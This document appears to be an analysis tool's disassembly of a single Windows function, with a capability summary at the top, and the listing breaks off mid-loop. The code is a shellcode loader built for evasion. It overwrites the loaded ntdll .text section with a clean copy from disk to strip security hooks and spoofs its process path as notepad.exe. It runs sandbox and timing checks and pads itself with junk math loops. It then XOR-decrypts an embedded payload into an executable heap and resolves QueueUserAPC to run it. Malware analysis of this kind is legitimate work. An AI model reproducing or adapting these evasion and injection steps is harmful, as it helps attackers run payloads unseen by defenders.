Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8c8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x830], xmm6
mov dword [rbp + 0x870], ecx
mov qword [rbp + 0x878], rdx
call fcn.140002a90
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b0], rax
mov ecx, 0x1c84
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a8], rax
mov ecx, 0x1c84
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a0], rax
mov ecx, 0x1c84
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x798], rax
mov dword [rbp + 0x82c], 0
jmp 0x1400015ec
mov dword [rbp + 0x828], 0
jmp 0x1400015d8
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x82c]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
lea rcx, [rax*4]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x7a8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x828]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x82c]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
lea rcx, [rax*4]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x7a0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x828]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x18
jle 0x140001501
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x48
jle 0x1400014f2
mov dword [rbp + 0x82c], 0
jmp 0x1400016ea
mov dword [rbp + 0x828], 0
jmp 0x1400016d6
mov eax, dword [rbp + 0x82c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
lea rdx, [rax*4]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x7a8]
add rdx, rax
mov eax, dword [rbp + 0x828]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x82c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
lea rdx, [rax*4]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x7a0]
add rdx, rax
mov eax, dword [rbp + 0x828]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x82c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
lea rdx, [rax*4]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x798]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x828]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x18
jle 0x140001617
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x48
jle 0x140001608
mov rax, qword [rbp + 0x7a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x798]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x790], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x820], rax
cmp qword [rbp + 0x820], 0
jne 0x1400017a8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x820], rax
cmp qword [rbp + 0x820], 0
je 0x140001b51
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x600]
mov rax, qword [rbp + 0x790]
mov r10, qword [rbp + 0x820]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x600]
mov qword [rbp + 0x788], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x780], rax
mov dword [rbp + 0x81c], 0xffffffff
mov ecx, 0x19b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
add dword [rbp + 0x81c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x778]
add rax, rdx
movsd xmm1, qword [0x140006600]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x81c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x778]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x81c], 0x334
jle 0x140001853
mov rax, qword [rbp + 0x780]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x788]
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x788]
add rax, rdx
mov qword [rbp + 0x758], rax
mov dword [rbp + 0x818], 0xffffffff
add dword [rbp + 0x818], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x269
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003bf0
movq rax, xmm0
mov qword [rbp + 0x750], rax
cmp dword [rbp + 0x818], 0x377
jle 0x1400019a2
mov word [rbp + 0x816], 0
jmp 0x140001b39
mov rax, qword [rbp + 0x758]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x758]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x816]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b28
mov dword [rbp + 0x5c8], 0
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x788]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5c8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x768]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x788]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5c8]
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x748]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x788]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5c8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x816]
add eax, 1
mov word [rbp + 0x816], ax
mov rax, qword [rbp + 0x758]
movzx eax, word [rax + 6]
cmp word [rbp + 0x816], ax
jb 0x1400019fd
mov dword [rbp + 0x5cc], 0
mov rax, qword [rbp + 0x7b8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
mov dword [rbp + 0x810], 0
jmp 0x140001bc9
call sub.msvcrt.dll_rand
imul eax, eax, 0x353
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003bf0
movq rax, xmm0
mov qword [rbp + 0x620], rax
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x294
jle 0x140001b88
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5d0]
lea rax, [rbp + 0x5cc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x740]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5d8]
add rax, 0x3c
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x738]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov ecx, 0x31c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x730], rax
mov dword [rbp + 0x808], 0
mov dword [rbp + 0x804], 0
mov dword [rbp + 0x80c], 0
jmp 0x140001cbf
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x80c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x730]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0xc6
jle 0x140001c72
mov dword [rbp + 0x80c], 0
mov dword [rbp + 0x80c], 0
jmp 0x140001d3e
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x730]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140001d0d
add dword [rbp + 0x808], 1
jmp 0x140001d37
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x730]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140001d37
add dword [rbp + 0x804], 1
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0xc6
jle 0x140001ce1
mov rax, qword [rbp + 0x730]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov ecx, 0
call rax
mov dword [rbp + 0x724], eax
cmp dword [rbp + 0x724], 0xffffffff
je 0x1400029c4
mov ecx, 0x55d
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x55d
jne 0x1400029c4
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x718], rax
cmp qword [rbp + 0x718], 0
je 0x1400029c4
mov rax, qword [rbp + 0x718]
mov edx, 0x553
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x714], eax
mov ecx, 0x710
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x710
jne 0x1400029c4
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x710], 0x24c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6fc], eax
mov eax, dword [rbp + 0x710]
mov r8, qword [rbp + 0x708]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6f8], eax
mov eax, dword [rbp + 0x6f8]
sub eax, dword [rbp + 0x6fc]
cmp eax, 0x21a
jbe 0x1400029c4
mov qword [rbp + 0x7f8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
je 0x140001fa9
mov rax, qword [rbp + 0x6f0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6e8]
mov r9d, 0x3000
mov r8d, 0x38d
mov edx, 0
call rax
mov qword [rbp + 0x7f8], rax
cmp qword [rbp + 0x7f8], 0
je 0x1400029c4
mov qword [rbp + 0x7f0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6e0], rax
cmp qword [rbp + 0x6e0], 0
je 0x140002044
mov rax, qword [rbp + 0x6e0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6d8]
mov r9d, 0x3000
mov r8d, 0x2ce
mov edx, 0
call rax
mov qword [rbp + 0x7f0], rax
cmp qword [rbp + 0x7f0], 0
je 0x1400029c4
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
mov ecx, 0
call rax
mov dword [rbp + 0x6cc], eax
cmp dword [rbp + 0x6cc], 0xffffffff
je 0x1400029c4
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
mov ecx, 0
call rax
mov dword [rbp + 0x6bc], eax
cmp dword [rbp + 0x6bc], 0xffffffff
je 0x1400029c4
mov dword [rbp + 0x6b8], 0x33c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
call rax
mov dword [rbp + 0x6a4], eax
mov eax, dword [rbp + 0x6b8]
mov r8, qword [rbp + 0x6b0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6a8]
call rax
mov dword [rbp + 0x6a0], eax
mov eax, dword [rbp + 0x6a0]
sub eax, dword [rbp + 0x6a4]
cmp eax, 0x30a
jbe 0x1400029c4
mov dword [rbp + 0x7ec], 0
mov dword [rbp + 0x7e8], 0
mov ecx, 0xe88
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x7e4], 0
jmp 0x140002249
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7e4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x698]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7ec], eax
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x3a1
jle 0x1400021db
mov dword [rbp + 0x7e4], 0
jmp 0x1400022d1
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x7e8]
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x62c]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140006608]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003dc0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x7e8], eax
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x3a1
jle 0x140002261
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x7e8]
movss xmm1, dword [0x140006610]
divss xmm0, xmm1
movss dword [rbp + 0x694], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x694]
movq rax, xmm3
movq xmm0, rax
call fcn.140003a80
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x690], xmm0
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, [rbp + 0xf0]
lea rdx, [0x140006120]
mov ecx, 0x9a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x7b0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x688]
mov r8d, 0
mov edx, 0x4d0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov r9, qword [rbp + 0x680]
mov r8d, 0x4d0
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x7e0], 0xffffffff
mov ecx, 0x1348
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
add dword [rbp + 0x7e0], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7e0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x668]
add rax, rdx
movsd xmm1, qword [0x140006600]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7e0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x668]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7e0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x668]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7e0], 0x267
jle 0x1400023fd
mov rax, qword [rbp + 0x7b8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x670]
mov r9, qword [rbp + 0x660]
mov r8d, 0x4d0
mov rcx, rax
call r9
mov dword [rbp + 0x7dc], 0
mov dword [rbp + 0x7d8], 0
mov dword [rbp + 0x7d4], 0
movabs rax, 0x49dd2358a38947c1
movabs rdx, 0x33a8a5829f2adef1
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xf652417e5d8b1bb9
movabs rdx, 0x8e6c30bd65c82c27
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xef4af46b8afa8c9d
movabs rdx, 0x21f4567357ca1860
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x49213aea81151f44
movabs rdx, 0x8dc8e7c83e103e1c
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov word [rbp], 0xa2
movabs rax, 0x4e797a219d9ef391
movabs rdx, 0xe2094a403d26233e
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xa654a447b00408a9
movabs rdx, 0xea049ae8a9a4d32c
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xf6b35d38b5ee88ae
movabs rdx, 0x45bb9bb3b45536b
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x1b843e9a2eb88783
movabs rdx, 0xbf847e67a6fdc228
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xc2356f429478947d
movabs rdx, 0x28b4c916a8006b78
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x379a44d7f40f8689
movabs rdx, 0x2783b4aa893bb6eb
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x324f6e84e1e20a
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0x7d0], 0xffffffff
add dword [rbp + 0x7d0], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x2bf
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003bf0
movq rax, xmm0
mov qword [rbp + 0x658], rax
cmp dword [rbp + 0x7d0], 0xbe
jle 0x140002663
jmp 0x140002700
mov eax, dword [rbp + 0x7dc]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x7d8]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x7dc]
cdqe
mov byte [rbp + rax + 0x10], dl
cmp dword [rbp + 0x7d8], 0x40
jne 0x1400026f2
mov dword [rbp + 0x7d8], 0
jmp 0x1400026f9
add dword [rbp + 0x7d8], 1
add dword [rbp + 0x7dc], 1
mov eax, dword [rbp + 0x7dc]
cmp eax, 0x66
jbe 0x1400026b2
mov dword [rbp + 0x7dc], 0
jmp 0x140002847
mov eax, dword [rbp + 0x7dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x670]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7d4]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x7dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x670]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x7c8], 1
jmp 0x140002814
mov dword [rbp + 0x7cc], 0
mov eax, dword [rbp + 0x7c8]
mov dword [rbp + 0x7c4], eax
jmp 0x1400027ea
mov edx, dword [rbp + 0x7c4]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x630], edx
mov eax, dword [rbp + 0x630]
imul eax, eax
imul eax, dword [rbp + 0x630]
add dword [rbp + 0x7cc], eax
mov eax, dword [rbp + 0x7c4]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x7c4], eax
cmp dword [rbp + 0x7c4], 0
jne 0x14000277f
mov eax, dword [rbp + 0x7cc]
cmp eax, dword [rbp + 0x7c8]
jne 0x14000280d
mov eax, dword [rbp + 0x7c8]
mov dword [rbp + 0x634], eax
add dword [rbp + 0x7c8], 1
cmp dword [rbp + 0x7c8], 0x2be
jle 0x140002767
cmp dword [rbp + 0x7d4], 0x66
jne 0x140002839
mov dword [rbp + 0x7d4], 0
jmp 0x140002840
add dword [rbp + 0x7d4], 1
add dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0x4cf
jle 0x14000271a
mov rax, qword [rbp + 0x670]
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x7c0], 0xffffffff
mov ecx, 0x968
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
add dword [rbp + 0x7c0], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x7c0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x640]
add rax, rdx
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x7c0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7c0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x640]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003bc0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7c0], 0x12b
